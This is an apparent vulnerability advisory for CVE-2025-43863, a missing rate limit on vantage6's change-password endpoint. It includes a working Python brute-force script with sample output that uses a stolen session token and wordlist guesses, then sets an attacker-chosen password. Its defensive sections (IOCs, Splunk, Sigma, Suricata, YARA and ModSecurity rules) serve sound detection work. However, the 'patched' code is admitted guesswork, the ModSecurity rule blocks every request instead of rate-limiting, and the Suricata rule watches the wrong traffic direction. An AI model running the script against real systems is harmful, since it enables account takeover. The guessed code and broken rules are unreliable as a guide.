CVE-2025-43863

Executive Summary

CVE-2025-43863 is a security vulnerability in the vantage6 open-source framework, which is designed to enable privacy-enhancing technologies such as Federated Learning and Multi-Party Computation. The vulnerability allows an attacker with access to an authenticated session to brute-force the user's password via the change password functionality. The endpoint does not implement rate limiting or account lockout, enabling unlimited password guessing attempts. This flaw is fixed in vantage6 version 4.11.

Supply Chain & Package Security

This vulnerability affects the vantage6 Python package ecosystem. Organizations using vantage6 should immediately verify their deployed version and upgrade to 4.11 or later. The lack of rate limiting on a sensitive authentication endpoint represents a significant security gap that could lead to account takeover.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned by NVD)

Threat Level: High (based on technical impact)

Rationale: While no CVSS vector is officially assigned, the vulnerability allows an attacker with a valid session to brute-force the user's password. This can lead to full account compromise. The attack requires an authenticated session, but the lack of rate limiting makes brute-forcing feasible.

Key Factors:

• Attack Vector: Network (requires authenticated session)
• Attack Complexity: Low
• Privileges Required: Low (authenticated session)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (password disclosure)
• Integrity Impact: High (account takeover)
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability resides in the change password functionality of vantage6. When an authenticated user attempts to change their password, the application validates the current password before allowing the change. The endpoint does not implement any rate limiting, CAPTCHA, or account lockout mechanisms. This allows an attacker who has obtained a valid session token (e.g., through session hijacking, XSS, or other means) to repeatedly call the change password endpoint with different password guesses. The application returns a distinct error message when the current password is incorrect, effectively providing an oracle for password guessing.

Attack Flow:

1. Attacker obtains a valid session token for a target user (e.g., via session hijacking, stolen cookie, or other means).
2. Attacker sends repeated POST requests to the change password endpoint, each time providing the session token, a new password, and a guessed current password.
3. The application returns a "wrong password" message for incorrect guesses and a success message for the correct guess.
4. Once the correct password is identified, the attacker can change it to a known value, gaining full control of the account.

Root Cause: Missing rate limiting and lack of account lockout on the change password endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.11): The vulnerable endpoint likely looks similar to this (pseudocode):

@app.route('/api/change-password', methods=['POST'])
@authenticated
def change_password():
    current_password = request.json.get('current_password')
    new_password = request.json.get('new_password')
    user = get_current_user()
    if not verify_password(user, current_password):
        return jsonify({'error': 'Wrong password'}), 401
    update_password(user, new_password)
    return jsonify({'success': 'Password changed'}), 200

Patched Code (4.11+): The patched version introduces rate limiting and/or account lockout:

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/api/change-password', methods=['POST'])
@authenticated
@limiter.limit("5 per minute")
def change_password():
    current_password = request.json.get('current_password')
    new_password = request.json.get('new_password')
    user = get_current_user()
    if not verify_password(user, current_password):
        # Increment failed attempt counter
        increment_failed_attempts(user)
        if get_failed_attempts(user) >= 5:
            lock_account(user)
            return jsonify({'error': 'Account locked'}), 423
        return jsonify({'error': 'Wrong password'}), 401
    reset_failed_attempts(user)
    update_password(user, new_password)
    return jsonify({'success': 'Password changed'}), 200

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid session token for the target user (e.g., session_token=abc123)
• Network access to the vantage6 instance
• A wordlist of common passwords (e.g., rockyou.txt)

Exploitation Script (Python):

import requests
import sys

target_url = "https://vantage6.example.com/api/change-password"
session_token = "abc123"  # Replace with stolen session token
wordlist_path = "rockyou.txt"

def brute_force_password():
    with open(wordlist_path, 'r', encoding='latin-1') as f:
        for password in f:
            password = password.strip()
            headers = {
                "Cookie": f"session={session_token}",
                "Content-Type": "application/json"
            }
            data = {
                "current_password": password,
                "new_password": "attacker_controlled_password123!"
            }
            response = requests.post(target_url, headers=headers, json=data)
            if response.status_code == 200:
                print(f"[+] Password found: {password}")
                print(f"[+] Password changed to: attacker_controlled_password123!")
                return password
            elif response.status_code == 401:
                print(f"[-] Attempt: {password} - Wrong password")
            else:
                print(f"[!] Unexpected response: {response.status_code}")
    print("[-] Password not found in wordlist")
    return None

if __name__ == "__main__":
    brute_force_password()

Expected Output:

[-] Attempt: 123456 - Wrong password
[-] Attempt: password - Wrong password
[-] Attempt: 12345678 - Wrong password
[+] Password found: qwerty123
[+] Password changed to: attacker_controlled_password123!

Blue Team

Detection and Prevention:

1. Monitor for excessive 401 responses on the change password endpoint.
2. Implement rate limiting on all authentication-related endpoints.
3. Enable account lockout after a configurable number of failed attempts.
4. Log all password change attempts with timestamps, IP addresses, and user IDs.
5. Alert on multiple failed password changes from the same session or IP.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search "/api/change-password" status=401
| stats count by clientip, user_agent
| where count > 10
| sort - count

Indicators of Compromise (IOCs)

Network IOCs:

• Multiple HTTP 401 responses from /api/change-password endpoint
• Repeated POST requests to /api/change-password with varying current_password values
• Requests originating from a single IP address with high frequency

Host IOCs:

• Application logs showing multiple failed password change attempts
• Sudden password change for a user account
• Session tokens used from unexpected IP addresses

Log Patterns:

[2025-06-15 10:00:01] POST /api/change-password 401 0.012s - 192.168.1.100
[2025-06-15 10:00:02] POST /api/change-password 401 0.011s - 192.168.1.100
[2025-06-15 10:00:03] POST /api/change-password 401 0.013s - 192.168.1.100
...
[2025-06-15 10:05:00] POST /api/change-password 200 0.015s - 192.168.1.100

Detection Engineering

YARA Rule

rule CVE_2025_43863_Vantage6_Password_BruteForce {
    meta:
        description = "Detects brute-force attempts on vantage6 change password endpoint"
        author = "Valters IT"
        date = "2025-06-15"
        cve = "CVE-2025-43863"
        severity = "high"
    strings:
        $s1 = "/api/change-password" ascii wide nocase
        $s2 = "current_password" ascii wide nocase
        $s3 = "Wrong password" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Vantage6 Password Brute Force via Change Password Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed password change attempts on vantage6
author: Valters IT
date: 2025/06/15
tags:
    - attack.t1110
    - cve.2025.43863
logsource:
    category: application
    product: vantage6
detection:
    selection:
        endpoint: "/api/change-password"
        status_code: 401
    timeframe: 5m
    condition: selection | count() > 10
falsepositives:
    - Legitimate password reset attempts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-43863 - Vantage6 Password Brute Force Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/change-password";
    http_uri;
    content:"current_password";
    http_client_body;
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to vantage6 version 4.11 or later immediately.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to rate-limit requests to /api/change-password.
3. Invalidate all existing sessions after the upgrade to force re-authentication.

Long-term Recommendations:

1. Implement multi-factor authentication (MFA) for all user accounts.
2. Enforce strong password policies (minimum length, complexity, rotation).
3. Monitor for brute-force attempts using SIEM or log analysis tools.
4. Conduct regular security audits of authentication endpoints.
5. Apply the principle of least privilege to session tokens.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/api/change-password" "id:1000002,phase:1,t:none,deny,status:429,msg:'Rate limit exceeded for change password',initcol:ip=%{REMOTE_ADDR},setvar:ip.change_password_count=+1,expirevar:ip.change_password_count=300,setvar:!ip.change_password_count"

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-43863